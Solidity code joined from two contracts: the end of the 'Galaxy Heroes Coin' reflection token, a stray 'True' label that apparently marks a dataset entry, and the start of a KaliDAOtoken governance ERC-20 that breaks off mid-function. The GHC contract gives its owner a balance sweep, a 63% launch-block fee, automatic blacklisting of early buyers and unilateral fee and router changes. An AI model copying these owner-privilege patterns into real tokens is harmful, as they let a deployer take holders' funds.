function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract GHC is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) isDividendExempt;
mapping(address => bool) private _liquidityHolders;
mapping(address => bool) private _isSniper;
mapping(address => uint256) public dailySpent;
mapping(address => uint256) public allowedTxAmount;
mapping(address => uint256) public sellIntervalStart;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Galaxy Heroes Coin";
string private _symbol = "GHC";
uint8 private _decimals = 9;
uint256 public swapAndLiquifycount = 0;
uint256 public snipersCaught = 0;
uint256 public _taxFee = 1; //consists of reflect tax
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 9; //consists of buyback + liq + dividends tax
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public div1 = 3;
uint256 public div2 = 33;
uint256 public _startTimeForSwap;
uint256 public _intervalSecondsForSwap = 1 * 30 seconds;
// Fee per address
uint256 public _maxWallet = 20000000 * 10**6 * 10**9;
uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9;
uint256 private minimumTokensBeforeSwap = 2500000 * 10**6 * 10**9;
uint256 public launchedAt = 0;
IUniswapV2Router public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
bool public _tradingEnabled = false;
address public currentLiqPair;
address payable public buybackAddress;
address payable public devAddress;
address payable public lpAddress;
address payable public stakingAddress;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address _buybackAddress, address _devAddress, address _lpAddress, address _stakingAddress, address _uniswapAddress) {
buybackAddress = payable(_buybackAddress);
devAddress = payable(_devAddress);
lpAddress = payable(_lpAddress);
stakingAddress = payable(_stakingAddress);
transferOwnership(lpAddress);
_rOwned[lpAddress] = _rTotal;
// ERM: Passed this into the constructor now
IUniswapV2Router _uniswapV2Router = IUniswapV2Router(_uniswapAddress);
// Pancake Router Testnet v1
//IUniswapV2Router _uniswapV2Router = IUniswapV2Router(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3);
// Pancakeswap Router Mainnet v2
//IUniswapV2Router _uniswapV2Router = IUniswapV2Router(0x10ED43C718714eb63d5aA57B78B54704E256024E);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[lpAddress] = true;
_isExcludedFromFee[stakingAddress] = true;
_isExcludedFromFee[address(0)];
_isExcludedFromFee[devAddress] = true;
_isExcludedFromFee[address(this)] = true;
_liquidityHolders[lpAddress] = true;
_startTimeForSwap = block.timestamp;
emit Transfer(address(0), lpAddress, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(_tradingEnabled, 'Trading is currently disabled');
require(to != address(0), "ERC20: transfer to the zero address");
if(to != uniswapV2Pair){
require(balanceOf(to).add(amount) <= _maxWallet, "Transfer exceeds max");
}else{
if(sellIntervalStart[from] != 0){
if(sellIntervalStart[from].add(120) < block.timestamp){
allowedTxAmount[from] = _maxTxAmount;
sellIntervalStart[from] = block.timestamp;
}
}
if(allowedTxAmount[from] == 0 && sellIntervalStart[from] == 0){
allowedTxAmount[from] = _maxTxAmount;
sellIntervalStart[from] = block.timestamp;
}
if(amount > allowedTxAmount[from]){
revert("MaxTx Limit: Daily Limit Reached");
}else{
if(allowedTxAmount[from].sub(amount) <= 0){
allowedTxAmount[from] = 0;
}else{
allowedTxAmount[from] = allowedTxAmount[from].sub(amount);
}
}
}
}
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumSwapTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// Handle liquidity and buybacks
if (!inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[from]) {
if(to == uniswapV2Pair ){
if (overMinimumSwapTokenBalance && _startTimeForSwap + _intervalSecondsForSwap <= block.timestamp) {
_startTimeForSwap = block.timestamp;
swapAndLiquifycount = swapAndLiquifycount.add(1);
swapAndLiquify(minimumTokensBeforeSwap);
}
}
}
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
// split the contract balance into halves
uint256 whole = contractTokenBalance.div(div1);
uint256 half = whole.div(2);
uint256 otherHalf = whole.sub(half);
uint256 remains = contractTokenBalance.sub(whole);
// capture the contract's current BNB balance.
// this is so that we can capture exactly the amount of BNB that the
// swap creates, and not make the liquidity event include any BNB that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for BNB
swapTokensForEth(half);
// how much BNB did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity
addLiquidity(otherHalf, newBalance);
initialBalance = address(this).balance;
swapTokensForEth(remains);
uint256 transferredBalance = address(this).balance.sub(initialBalance);
uint256 devBalance = transferredBalance.mul(div2).div(100);
uint256 buybackBalance = transferredBalance.sub(devBalance);
// Send to Marketing address
transferToAddressETH(buybackAddress, buybackBalance);
transferToAddressETH(devAddress, devBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// Generate the uniswap pair path of token -> WETH
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// Make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // Accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// Approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// Add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // Slippage is unavoidable
0, // Slippage is unavoidable
lpAddress,
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(sniperProtection) {
// if sender is a sniper address, reject the sell.
if(isSniper(sender)) {
revert('Sniper rejected.');
}
// check if this is the liquidity adding tx to startup.
if(!_hasLiqBeenAdded) {
_checkLiquidityAdd(sender, recipient);
} else {
if(
launchedAt > 0
&& sender == uniswapV2Pair
&& !_liquidityHolders[sender]
&& !_liquidityHolders[recipient]
) {
if(block.number - launchedAt < 3) {
_isSniper[recipient] = true;
snipersCaught++;
}
}
}
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
if(launchedAt.add(3) >= block.number){
return _amount.mul(_liquidityFee.mul(7)).div(
10**2
);
} else {
return _amount.mul(_liquidityFee).div(
10**2
);
}
}
function manualSwapandLiquify(uint256 _balance) external onlyOwner {
swapAndLiquify(_balance);
}
function setLaunchLiqPair (address _pair) public onlyOwner {
uniswapV2Pair = _pair;
}
function isSniper(address account) public view returns(bool) {
return _isSniper[account];
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function GetSwapMinutes() public view returns(uint256) {
return _intervalSecondsForSwap.div(60);
}
function SetSwapMinutes(uint256 newMinutes) external onlyOwner {
_intervalSecondsForSwap = newMinutes * 1 minutes;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee < 30, "tax too high");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
require(liquidityFee < 30, "tax too high");
_liquidityFee = liquidityFee;
}
function setDivs(uint256 _div1, uint256 _div2) external onlyOwner {
div1 = _div1;
div2 = _div2;
}
function addressChange(address payable _lpAddress, address payable _stakingAddress, address payable _devAddress, address payable _buybackAddress) external onlyOwner{
require(_devAddress != address(0),"cant set dev address 0");
require(_buybackAddress != address(0),"cant set buyback address 0");
lpAddress = _lpAddress;
stakingAddress = _stakingAddress;
devAddress = _devAddress;
buybackAddress = _buybackAddress;
}
function _checkLiquidityAdd(address from, address to) private {
// if liquidity is added by the _liquidityholders set trading enables to true and start the anti sniper timer
require(!_hasLiqBeenAdded, 'Liquidity already added and marked.');
if(_liquidityHolders[from] && to == uniswapV2Pair) {
_hasLiqBeenAdded = true;
_tradingEnabled = true;
launchedAt = block.number;
}
}
function removeSniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not a recorded sniper.');
_isSniper[account] = false;
}
function changeWhaleSettings(uint256 maxTxAmount, uint256 maxWallet) external onlyOwner {
require(maxTxAmount > totalSupply().div(1000), "max tx too low");
require(maxWallet > totalSupply().div(1000), "max wallet too low");
_maxWallet = maxWallet;
_maxTxAmount = maxTxAmount;
}
function setMinimumTokensBeforeSwap(uint256 _minimumTokensBeforeSwap) external onlyOwner {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function buyBack() public payable {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value : msg.value}(0,path,stakingAddress,block.timestamp.add(10));
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() public onlyOwner {
launchedAt = block.number;
_hasLiqBeenAdded = true;
_tradingEnabled = true;
}
function afterPreSale() external onlyOwner {
setSwapAndLiquifyEnabled(true);
_taxFee = 1;
_liquidityFee = 14;
_maxTxAmount = 3000000 * 10**6 * 10**9;
}
function multisend( address[] memory dests, uint256[] memory values) public onlyOwner returns (uint256) {
uint256 i = 0;
while (i < dests.length) {
transfer(dests[i], values[i]);
i += 1;
}
return(i);
}
function changeRouterVersion(address _router) public onlyOwner returns(address _pair) {
IUniswapV2Router _uniswapV2Router = IUniswapV2Router(_router);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(_pair == address(0)){
// Pair doesn't exist
_pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapV2Pair = _pair;
// Set the router of the contract variables
uniswapV2Router = _uniswapV2Router;
}
// To recieve BNB from pancakeV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to) public onlyOwner returns(bool _sent){
uint256 _contractBalance = IBEP20(_token).balanceOf(address(this));
_sent = IBEP20(_token).transfer(_to, _contractBalance);
}
function Sweep() external onlyOwner {
uint256 balance = address(this).balance;
payable(owner()).transfer(balance);
}
}
|
True
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/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.4;
/// @notice Modern and gas-optimized ERC-20 + EIP-2612 implementation with COMP-style governance and pausing.
/// @author Modified from Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/erc20/ERC20.sol)
/// License-Identifier: AGPL-3.0-only
abstract contract KaliDAOtoken {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
event PauseFlipped(bool paused);
/*///////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error NoArrayParity();
error Paused();
error SignatureExpired();
error NullAddress();
error InvalidNonce();
error NotDetermined();
error InvalidSignature();
error Uint32max();
error Uint96max();
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public constant decimals = 18;
/*///////////////////////////////////////////////////////////////
ERC-20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)');
uint256 internal INITIAL_CHAIN_ID;
bytes32 internal INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
DAO STORAGE
//////////////////////////////////////////////////////////////*/
bool public paused;
bytes32 public constant DELEGATION_TYPEHASH =
keccak256('Delegation(address delegatee,uint256 nonce,uint256 deadline)');
mapping(address => address) internal _delegates;
mapping(address => mapping(uint256 => Checkpoint)) public checkpoints;
mapping(address => uint256) public numCheckpoints;
struct Checkpoint {
uint32 fromTimestamp;
uint96 votes;
}
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
function _init(
string memory name_,
string memory symbol_,
bool paused_,
address[] memory voters_,
uint256[] memory shares_
) internal virtual {
if (voters_.length != shares_.length) revert NoArrayParity();
name = name_;
symbol = symbol_;
paused = paused_;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator();
// cannot realistically overflow on human timescales
unchecked {
for (uint256 i; i < voters_.length; i++) {
_mint(voters_[i], shares_[i]);
}
}
}
/*///////////////////////////////////////////////////////////////
ERC-20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public notPaused virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// cannot overflow because the sum of all user
// balances can't exceed the max uint256 value
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(delegates(msg.sender), delegates(to), amount);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public notPaused virtual returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max)
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
// cannot overflow because the sum of all user
// balances can't exceed the max uint256 value
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(delegates(from), delegates(to), amount);
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
// cannot realistically overflow on human timescales
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
if (recoveredAddress == address(0) || recoveredAddress != owner) revert InvalidSignature();
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator();
}
function _computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256('1'),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
DAO LOGIC
//////////////////////////////////////////////////////////////*/
modifier notPaused() {
if (paused) revert Paused();
_;
}
function delegates(address delegator) public view virtual returns (address) {
address current = _delegates[delegator];
return current == address(0) ? delegator : current;
}
function getCurrentVotes(address account) public view virtual returns (uint256) {
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
unchecked {
uint256 nCheckpoints = numCheckpoints[account];
return nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
}
function delegate(address delegatee) public virtual {
_delegate(msg.sender, delegatee);
}
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, deadline));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR(), structHash));
address signatory = ecrecover(digest, v, r, s);
if (signatory == address(0)) revert NullAddress();
// cannot realistically overflow on human timescales
unchecked {
if (nonce != nonces[signatory]++) revert InvalidNonce();
}
_delegate(signatory, delegatee);
}
function getPriorVotes(address account, uint256 timestamp) public view virtual returns (uint96) {
if (block.timestamp <= timestamp) revert NotDetermined();
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) return 0;
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
unchecked {
if (checkpoints[account][nCheckpoints - 1].fromTimestamp <= timestamp)
return checkpoints[account][nCheckpoints - 1].votes;
if (checkpoints[account][0].fromTimestamp > timestamp) return 0;
uint256 lower;
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
uint256 upper = nCheckpoints - 1;
while (upper > lower) {
// this is safe from underflow because `upper` ceiling is provided
uint256 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromTimestamp == timestamp) {
return cp.votes;
} else if (cp.fromTimestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
}
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
_delegates[delegator] = delegatee;
_moveDelegates(currentDelegate, delegatee, balanceOf[delegator]);
emit DelegateChanged(delegator, currentDelegate, delegatee);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal virtual {
if (srcRep != dstRep && amount != 0)
if (srcRep != address(0)) {
uint256 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint256 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
function _writeCheckpoint(
address delegatee,
uint256 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal virtual {
unchecked {
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromTimestamp == block.timestamp) {
checkpoints[delegatee][nCheckpoints - 1].votes = _safeCastTo96(newVotes);
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(_safeCastTo32(block.timestamp), _safeCastTo96(newVotes));
// cannot realistically overflow on human timescales
numCheckpoints[delegatee] = nCheckpoints + 1;
}
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/*///////////////////////////////////////////////////////////////
MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// cannot overflow because the sum of all user
// balances can't exceed the max uint256 value
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(address(0), delegates(to), amount);
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// cannot underflow because a user's balance
// will never be larger than the total supply
unchecked {
totalSupply -= amount;
}
_moveDelegates(delegates(from), address(0), amount);
emit Transfer(from, address(0), amount);
}
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
function burnFrom(address from, uint256 amount) public virtual {
if (allowance[from][msg.sender] != type(uint256).max)
allowance[from][msg.sender] -= amount;
_burn(from, amount);
}
/*///////////////////////////////////////////////////////////////
PAUSE LOGIC
//////////////////////////////////////////////////////////////*/
function _flipPause() internal virtual {
paused = !paused;
emit PauseFlipped(paused);
}
/*///////////////////////////////////////////////////////////////
SAFECAST LOGIC
//////////////////////////////////////////////////////////////*/
function _safeCastTo32(uint256 x) internal pure virtual returns (uint32) {
if (x > type(uint32).max) revert Uint32max();
return uint32(x);
}
function _safeCastTo96(uint256 x) internal pure virtual returns (uint96) {
if (x > type(uint96).max) revert Uint96max();
